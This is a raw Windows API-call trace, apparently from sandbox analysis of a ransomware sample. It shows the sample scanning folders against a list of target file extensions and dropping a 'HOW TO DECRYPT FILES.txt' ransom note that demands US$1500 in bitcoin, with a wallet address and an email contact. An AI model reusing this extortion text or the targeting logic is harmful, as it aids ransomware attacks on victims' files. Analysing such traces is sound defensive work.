(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.xls") returned 0 [0119.271] lstrlenA (lpString="*.xls") returned 5 [0119.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.mp4") returned 0 [0119.272] lstrlenA (lpString="*.mp4") returned 5 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.ppt") returned 0 [0119.272] lstrlenA (lpString="*.ppt") returned 5 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.pptx") returned 0 [0119.272] lstrlenA (lpString="*.pptx") returned 6 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.doc") returned 0 [0119.272] lstrlenA (lpString="*.doc") returned 5 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.dot") returned 0 [0119.272] lstrlenA (lpString="*.dot") returned 5 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.docx") returned 0 [0119.272] lstrlenA (lpString="*.docx") returned 6 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.7z") returned 0 [0119.272] lstrlenA (lpString="*.7z") returned 4 [0119.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.tar") returned 0 [0119.272] lstrlenA (lpString="*.tar") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.bz2") returned 0 [0119.273] lstrlenA (lpString="*.bz2") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.gz") returned 0 [0119.273] lstrlenA (lpString="*.gz") returned 4 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.mkv") returned 0 [0119.273] lstrlenA (lpString="*.mkv") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0119.273] lstrlenA (lpString="*.eml") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.msg") returned 0 [0119.273] lstrlenA (lpString="*.msg") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.edb") returned 0 [0119.273] lstrlenA (lpString="*.edb") returned 5 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.accdb") returned 0 [0119.273] lstrlenA (lpString="*.accdb") returned 7 [0119.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.odb") returned 0 [0119.273] lstrlenA (lpString="*.odb") returned 5 [0119.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.java") returned 0 [0119.274] lstrlenA (lpString="*.java") returned 6 [0119.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.asm") returned 0 [0119.274] lstrlenA (lpString="*.asm") returned 5 [0119.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.pfx") returned 0 [0119.274] lstrlenA (lpString="*.pfx") returned 5 [0119.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.pem") returned 0 [0119.274] lstrlenA (lpString="*.pem") returned 5 [0119.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.p12") returned 0 [0119.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868ff4d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868ff4d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.275] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.275] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.ni.dll.aux") returned -1 [0119.275] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.ni.dll.aux") returned -1 [0119.275] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.ni.dll.aux") returned -1 [0119.275] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll") returned="System.EnterpriseServices.ni.dll" [0119.275] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" [0119.275] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="" [0119.275] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" [0119.275] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\how to decrypt files.txt")) returned 0x20 [0119.275] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="System.EnterpriseServices.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll.aux" [0119.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.276] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x370030, dwReserved1=0x660035, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0119.276] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0119.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0119.276] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0119.276] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll.aux") returned="System.EnterpriseServices.ni.dll.aux" [0119.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" [0119.276] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="" [0119.276] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" [0119.277] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\how to decrypt files.txt")) returned 0x20 [0119.277] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="System.EnterpriseServices.Wrapper.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.Wrapper.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.Wrapper.dll" [0119.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ems") returned 0 [0119.277] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x370030, dwReserved1=0x660035, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 0 [0119.278] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.278] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868ff4d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="47233763bb65ea09075f780c4b2c0f44", cAlternateFileName="472337~1")) returned 0 [0119.278] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.278] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Iden1fe87377#", cAlternateFileName="SYSTEM~3.IDE")) returned 1 [0119.278] lstrcmpA (lpString1=".", lpString2="System.Iden1fe87377#") returned -1 [0119.278] lstrcmpA (lpString1="..", lpString2="System.Iden1fe87377#") returned -1 [0119.278] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.278] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Iden1fe87377#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#" [0119.278] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.282] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.282] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.282] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8fdaf5a3fb368bb813f0ac1ff10c2e99", cAlternateFileName="8FDAF5~1")) returned 1 [0119.282] lstrcmpA (lpString1=".", lpString2="8fdaf5a3fb368bb813f0ac1ff10c2e99") returned -1 [0119.283] lstrcmpA (lpString1="..", lpString2="8fdaf5a3fb368bb813f0ac1ff10c2e99") returned -1 [0119.283] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\*.*") returned="*.*" [0119.283] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\", lpString2="8fdaf5a3fb368bb813f0ac1ff10c2e99" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99" [0119.283] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.295] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.296] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.297] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.297] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x88800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.297] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.297] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Services.ni.dll") returned -1 [0119.297] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Services.ni.dll") returned -1 [0119.297] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Services.ni.dll") returned -1 [0119.297] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\*.*") returned="*.*" [0119.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" [0119.297] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\") returned="" [0119.297] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt" [0119.298] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\how to decrypt files.txt")) returned 0xffffffff [0119.298] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.300] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.300] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.303] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.303] CloseHandle (hObject=0x90) returned 1 [0119.303] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\", lpString2="System.IdentityModel.Services.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll" [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.ems") returned 0 [0119.304] lstrlenA (lpString="*.ems") returned 5 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.db") returned 0 [0119.304] lstrlenA (lpString="*.db") returned 4 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.dbf") returned 0 [0119.304] lstrlenA (lpString="*.dbf") returned 5 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.myox") returned 0 [0119.304] lstrlenA (lpString="*.myox") returned 6 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.myo") returned 0 [0119.304] lstrlenA (lpString="*.myo") returned 5 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbw") returned 0 [0119.304] lstrlenA (lpString="*.qbw") returned 5 [0119.304] 